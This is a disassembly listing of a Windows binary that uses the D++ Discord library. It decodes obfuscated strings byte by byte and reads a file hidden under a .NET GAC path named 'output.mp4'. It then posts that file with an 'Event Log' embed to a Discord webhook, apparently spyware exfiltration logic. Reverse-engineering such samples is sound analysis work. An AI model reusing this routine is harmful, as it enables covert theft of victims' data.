xor esi, esi
mov byte [ebp - 0x1a0c], 0
nop dword [eax]
push esi
lea ecx, [ebp - 0x1a17]
call fcn.0045b970
lea ecx, [ebp - 0x1a18]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x1a17]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xb
jb 0x466380
push 0xb
lea ecx, [ebp - 0x1a17]
call fcn.0045b970
lea ecx, [ebp - 0x1a17]
mov byte [eax], 0
call fcn.0045b960
push 0x588a60
mov edx, eax
lea ecx, [ebp - 0x2890]
call fcn.0045c050
add esp, 4
push eax
mov ecx, edi
mov byte [ebp - 4], 0x8d
call dword [sym.imp.dpp.dll_public:_struct_dpp::embed____thiscall_dpp::embed::set_title_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0xa
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a08], 0x2e
mov edi, eax
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a07], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a06], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a05], al
call fcn.0045b980
push 0x49
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a04], al
call fcn.0045b980
push 0x44
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a03], al
call fcn.0045b980
push 0x27
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a02], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a01], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a00], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x19ff], al
call fcn.0045b980
mov byte [ebp - 0x19fe], al
xor esi, esi
mov byte [ebp - 0x19fd], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x1a07]
call fcn.0045b970
lea ecx, [ebp - 0x1a08]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x1a07]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x4664d0
push 0xa
lea ecx, [ebp - 0x1a07]
call fcn.0045b970
lea ecx, [ebp - 0x1a07]
mov byte [eax], 0
call fcn.0045b960
push 0x2a
lea ecx, [ebp - 0x1a44]
mov dword [ebp - 0x19fc], eax
mov byte [ebp - 0x1a44], 0xf
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a43], al
call fcn.0045b980
push 0x45
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a42], al
call fcn.0045b980
push 0x76
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a41], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a40], al
call fcn.0045b980
push 0x6e
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a3f], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a3e], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a3d], al
call fcn.0045b980
push 0x4c
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a3c], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a3b], al
call fcn.0045b980
push 0x67
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a3a], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a39], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a38], al
call fcn.0045b980
push 0xa
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a37], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a36], al
call fcn.0045b980
push 0x4d
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a35], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a34], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a33], al
call fcn.0045b980
mov byte [ebp - 0x1a32], al
push 0x69
lea ecx, [ebp - 0x1a44]
call fcn.0045b980
push 0x76
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a31], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a30], al
call fcn.0045b980
push 0x3a
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a2f], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a2e], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1a44]
mov byte [ebp - 0x1a2d], al
call fcn.0045b980
mov byte [ebp - 0x1a2c], al
xor esi, esi
mov byte [ebp - 0x1a2b], 0
push esi
lea ecx, [ebp - 0x1a43]
call fcn.0045b970
lea ecx, [ebp - 0x1a44]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x1a43]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x18
jb 0x466704
push 0x18
lea ecx, [ebp - 0x1a43]
call fcn.0045b970
lea ecx, [ebp - 0x1a43]
mov byte [eax], 0
call fcn.0045b960
push dword [ebp - 0x1b0c]
mov edx, eax
lea ecx, [ebp - 0x2878]
call fcn.0045c050
add esp, 4
push 0x588ab4
mov edx, eax
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x2860]
call fcn.0045c190
add esp, 4
push dword [ebp - 0x19fc]
mov edx, eax
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x2848]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x90
push ecx
mov edx, eax
lea ecx, [ebp - 0x2830]
call fcn.0045c190
add esp, 4
push eax
mov ecx, edi
mov byte [ebp - 4], 0x91
call dword [sym.imp.dpp.dll_public:_struct_dpp::embed____thiscall_dpp::embed::set_description_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push eax
lea ecx, [ebp - 0x558]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::embed::constructor_struct_dpp::embed_const__]
lea ecx, [ebp - 0x2830]
call fcn.0045bb10
lea ecx, [ebp - 0x2848]
call fcn.0045bb10
lea ecx, [ebp - 0x2860]
call fcn.0045bb10
lea ecx, [ebp - 0x2878]
call fcn.0045bb10
lea ecx, [ebp - 0x2890]
call fcn.0045bb10
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x3140]
mov edi, dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::embed::destructor_void_]
call edi
push 0x20
lea ecx, [ebp - 0x19ec]
mov byte [ebp - 0x19ec], 0x31
call fcn.0045b980
push 0x2d
lea ecx, [ebp - 0x19ec]
mov byte [ebp - 0x19eb], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x19ec]
mov byte [ebp - 0x19ea], al
call fcn.0045b980
mov byte [ebp - 0x19e9], al
xor esi, esi
mov byte [ebp - 0x19e8], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x19eb]
call fcn.0045b970
lea ecx, [ebp - 0x19ec]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x19eb]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x466870
push 3
lea ecx, [ebp - 0x19eb]
call fcn.0045b970
lea ecx, [ebp - 0x19eb]
mov byte [eax], 0
call fcn.0045b960
lea ecx, [ebp - 0x29b0]
mov dword [ebp - 0x1bf8], eax
call fcn.00462c70
mov dword [ebp - 0x1bf4], eax
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x19e4]
push 0x20
mov byte [ebp - 0x19e4], 2
call fcn.0045b980
push 0x2d
lea ecx, [ebp - 0x19e4]
mov byte [ebp - 0x19e3], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x19e4]
mov byte [ebp - 0x19e2], al
call fcn.0045b980
mov byte [ebp - 0x19e1], al
xor esi, esi
mov byte [ebp - 0x19e0], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x19e3]
call fcn.0045b970
lea ecx, [ebp - 0x19e4]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x19e3]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x466930
push 3
lea ecx, [ebp - 0x19e3]
call fcn.0045b970
lea ecx, [ebp - 0x19e3]
mov byte [eax], 0
call fcn.0045b960
lea ecx, [ebp - 0x2bd8]
mov dword [ebp - 0x1bf0], eax
call fcn.004607a0
mov edx, eax
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x2980]
call fcn.00463d00
mov dword [ebp - 0x1bec], eax
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x19dc]
push 0x20
mov byte [ebp - 0x19dc], 0x6a
call fcn.0045b980
push 0x2d
lea ecx, [ebp - 0x19dc]
mov byte [ebp - 0x19db], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x19dc]
mov byte [ebp - 0x19da], al
call fcn.0045b980
mov byte [ebp - 0x19d9], al
xor esi, esi
mov byte [ebp - 0x19d8], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x19db]
call fcn.0045b970
lea ecx, [ebp - 0x19dc]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x19db]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x466a00
push 3
lea ecx, [ebp - 0x19db]
call fcn.0045b970
lea ecx, [ebp - 0x19db]
mov byte [eax], 0
call fcn.0045b960
lea ecx, [ebp - 0x2968]
mov dword [ebp - 0x19fc], eax
call fcn.00462bd0
mov dword [ebp - 0x1b0c], eax
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x19f8]
push 0x4c
mov byte [ebp - 0x19f8], 0x4f
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x19f8]
mov byte [ebp - 0x19f7], al
call fcn.0045b980
push 0x67
lea ecx, [ebp - 0x19f8]
mov byte [ebp - 0x19f6], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x19f8]
mov byte [ebp - 0x19f5], al
call fcn.0045b980
push 0x64
lea ecx, [ebp - 0x19f8]
mov byte [ebp - 0x19f4], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x19f8]
mov byte [ebp - 0x19f3], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x19f8]
mov byte [ebp - 0x19f2], al
call fcn.0045b980
mov byte [ebp - 0x19f1], al
xor esi, esi
mov byte [ebp - 0x19f0], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x19f7]
call fcn.0045b970
lea ecx, [ebp - 0x19f8]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x19f7]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x466b10
push 7
lea ecx, [ebp - 0x19f7]
call fcn.0045b970
lea ecx, [ebp - 0x19f7]
mov byte [eax], 0
call fcn.0045b960
push dword [ebp - 0x1b0c]
mov edx, eax
lea ecx, [ebp - 0x2950]
call fcn.0045bf50
add esp, 4
push dword [ebp - 0x19fc]
mov edx, eax
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x2938]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1bec]
mov edx, eax
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x2920]
call fcn.0045c170
add esp, 4
push dword [ebp - 0x1bf0]
mov edx, eax
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x2908]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1bf4]
mov edx, eax
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x28f0]
call fcn.0045c170
add esp, 4
push dword [ebp - 0x1bf8]
mov edx, eax
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x28d8]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa2
push ecx
mov edx, eax
lea ecx, [ebp - 0x28c0]
call fcn.0045c190
add esp, 4
push 0
push eax
lea ecx, [ebp - 0x3398]
mov byte [ebp - 4], 0xa3
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 0xa4
push ecx
mov ecx, eax
call dword [sym.imp.dpp.dll_public:_struct_dpp::message____thiscall_dpp::message::add_embed_struct_dpp::embed_const__]
push 0x43
lea ecx, [ebp - 0x1ab4]
mov dword [ebp - 0x19fc], eax
mov byte [ebp - 0x1ab4], 0x10
call fcn.0045b980
push 0x3a
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1ab3], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1ab2], al
call fcn.0045b980
mov byte [ebp - 0x1ab1], al
push 0x57
lea ecx, [ebp - 0x1ab4]
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1ab0], al
call fcn.0045b980
push 0x6e
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aaf], al
call fcn.0045b980
push 0x64
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aae], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aad], al
call fcn.0045b980
push 0x77
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aac], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aab], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aaa], al
call fcn.0045b980
push 0x4d
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa9], al
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa8], al
call fcn.0045b980
push 0x63
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa7], al
call fcn.0045b980
push 0x72
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa6], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa5], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa4], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa3], al
call fcn.0045b980
push 0x66
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa2], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa1], al
call fcn.0045b980
push 0x2e
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1aa0], al
call fcn.0045b980
push 0x4e
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a9f], al
call fcn.0045b980
push 0x45
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a9e], al
call fcn.0045b980
mov byte [ebp - 0x1a9d], al
lea ecx, [ebp - 0x1ab4]
push 0x54
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a9c], al
call fcn.0045b980
push 0x61
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a9b], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a9a], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a99], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a98], al
call fcn.0045b980
push 0x6d
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a97], al
call fcn.0045b980
push 0x62
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a96], al
call fcn.0045b980
push 0x6c
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a95], al
call fcn.0045b980
push 0x79
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a94], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a93], al
call fcn.0045b980
push 0x47
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a92], al
call fcn.0045b980
push 0x41
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a91], al
call fcn.0045b980
push 0x43
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a90], al
call fcn.0045b980
push 0x5f
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a8f], al
call fcn.0045b980
push 0x33
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a8e], al
call fcn.0045b980
push 0x32
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a8d], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a8c], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a8b], al
call fcn.0045b980
push 0x75
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a8a], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a89], al
call fcn.0045b980
push 0x70
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a88], al
call fcn.0045b980
push 0x75
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a87], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a86], al
call fcn.0045b980
push 0x2e
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a85], al
call fcn.0045b980
push 0x6d
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a84], al
call fcn.0045b980
push 0x70
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a83], al
call fcn.0045b980
push 0x34
lea ecx, [ebp - 0x1ab4]
mov byte [ebp - 0x1a82], al
call fcn.0045b980
mov byte [ebp - 0x1a81], al
xor esi, esi
mov byte [ebp - 0x1a80], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x1ab3]
call fcn.0045b970
lea ecx, [ebp - 0x1ab4]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x1ab3]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x33
jb 0x467020
push 0x33
lea ecx, [ebp - 0x1ab3]
call fcn.0045b970
lea ecx, [ebp - 0x1ab3]
mov byte [eax], 0
call fcn.0045b960
push eax
lea ecx, [ebp - 0x2380]
call fcn.0045bc30
lea eax, [ebp - 0x2380]
mov byte [ebp - 4], 0xa5
push eax
lea eax, [ebp - 0x28a8]
push eax
call dword [sym.imp.dpp.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::utility::read_file_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 8
mov dword [ebp - 0x1b0c], eax
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x1a7c]
push 0x43
mov byte [ebp - 0x1a7c], 0x52
call fcn.0045b980
push 0x3a
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a7b], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a7a], al
call fcn.0045b980
push 0x57
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a79], al
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a78], al
call fcn.0045b980
push 0x6e
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a77], al
call fcn.0045b980
push 0x64
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a76], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a75], al
call fcn.0045b980
push 0x77
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a74], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a73], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a72], al
call fcn.0045b980
push 0x4d
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a71], al
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a70], al
call fcn.0045b980
push 0x63
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a6f], al
call fcn.0045b980
push 0x72
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a6e], al
call fcn.0045b980
mov byte [ebp - 0x1a6d], al
push 0x6f
lea ecx, [ebp - 0x1a7c]
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a6c], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a6b], al
call fcn.0045b980
push 0x66
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a6a], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a69], al
call fcn.0045b980
push 0x2e
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a68], al
call fcn.0045b980
push 0x4e
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a67], al
call fcn.0045b980
push 0x45
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a66], al
call fcn.0045b980
push 0x54
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a65], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a64], al
call fcn.0045b980
push 0x61
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a63], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a62], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a61], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a60], al
call fcn.0045b980
push 0x6d
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a5f], al
call fcn.0045b980
push 0x62
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a5e], al
call fcn.0045b980
push 0x6c
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a5d], al
call fcn.0045b980
push 0x79
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a5c], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a5b], al
call fcn.0045b980
push 0x47
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a5a], al
call fcn.0045b980
mov byte [ebp - 0x1a59], al
push 0x41
lea ecx, [ebp - 0x1a7c]
call fcn.0045b980
push 0x43
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a58], al
call fcn.0045b980
push 0x5f
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a57], al
call fcn.0045b980
push 0x33
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a56], al
call fcn.0045b980
push 0x32
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a55], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a54], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a53], al
call fcn.0045b980
push 0x75
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a52], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a51], al
call fcn.0045b980
push 0x70
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a50], al
call fcn.0045b980
push 0x75
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a4f], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a4e], al
call fcn.0045b980
push 0x2e
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a4d], al
call fcn.0045b980
push 0x6d
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a4c], al
call fcn.0045b980
push 0x70
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a4b], al
call fcn.0045b980
push 0x34
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a4a], al
call fcn.0045b980
mov byte [ebp - 0x1a49], al
xor esi, esi
mov byte [ebp - 0x1a48], 0
push esi
lea ecx, [ebp - 0x1a7b]
call fcn.0045b970
lea ecx, [ebp - 0x1a7c]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x1a7b]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x33
jb 0x467480
push 0x33
lea ecx, [ebp - 0x1a7b]
call fcn.0045b970
lea ecx, [ebp - 0x1a7b]
mov byte [eax], 0
call fcn.0045b960
push eax
lea ecx, [ebp - 0x2350]
call fcn.0045bc30
push dword [ebp - 0x1b0c]
mov ecx, dword [ebp - 0x19fc]
lea eax, [ebp - 0x2350]
push eax
mov byte [ebp - 4], 0xa7
call dword [sym.imp.dpp.dll_public:_struct_dpp::message____thiscall_dpp::message::add_file_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push eax
lea ecx, [ebp - 0x2d0]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_struct_dpp::message_const__]
lea ecx, [ebp - 0x2350]
call fcn.0045bb10
lea ecx, [ebp - 0x28a8]
call fcn.0045bb10
lea ecx, [ebp - 0x2380]
call fcn.0045bb10
lea ecx, [ebp - 0x3398]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x28c0]
call fcn.0045bb10
lea ecx, [ebp - 0x28d8]
call fcn.0045bb10
lea ecx, [ebp - 0x28f0]
call fcn.0045bb10
lea ecx, [ebp - 0x2908]
call fcn.0045bb10
lea ecx, [ebp - 0x2920]
call fcn.0045bb10
lea ecx, [ebp - 0x2938]
call fcn.0045bb10
lea ecx, [ebp - 0x2950]
call fcn.0045bb10
lea ecx, [ebp - 0x2968]
call fcn.0045bb10
lea ecx, [ebp - 0x2980]
call fcn.0045bb10
lea ecx, [ebp - 0x2bd8]
call fcn.0045bb10
lea ecx, [ebp - 0x29b0]
mov byte [ebp - 4], 0xb7
call fcn.0045bb10
push 0x4ee7f6
lea ecx, [ebp - 0x2368]
call fcn.0045bc30
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 0xb8
xorps xmm0, xmm0
lea ecx, [ebp - 0x2eb8]
push eax
movlpd qword [ebp - 0x1fb0], xmm0
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_struct_dpp::message_const__]
mov esi, eax
mov byte [ebp - 4], 0xb9
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2c60]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x28
mov byte [ebp - 4], 0xba
mov ecx, esp
mov dword [ebp - 0x19d0], esp
push ecx
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const______cdecl_dpp::utility::log_error_void_]
add esp, 4
lea eax, [ebp - 0x2368]
mov byte [ebp - 4], 0xbb
push eax
sub esp, 8
lea eax, [ebp - 0x1fb0]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push esi
lea eax, [ebp - 0x2c60]
mov byte [ebp - 4], 0xba
push eax
lea ecx, [ebp - 0x19c8]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::execute_webhook_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____]
lea ecx, [ebp - 0x2c60]
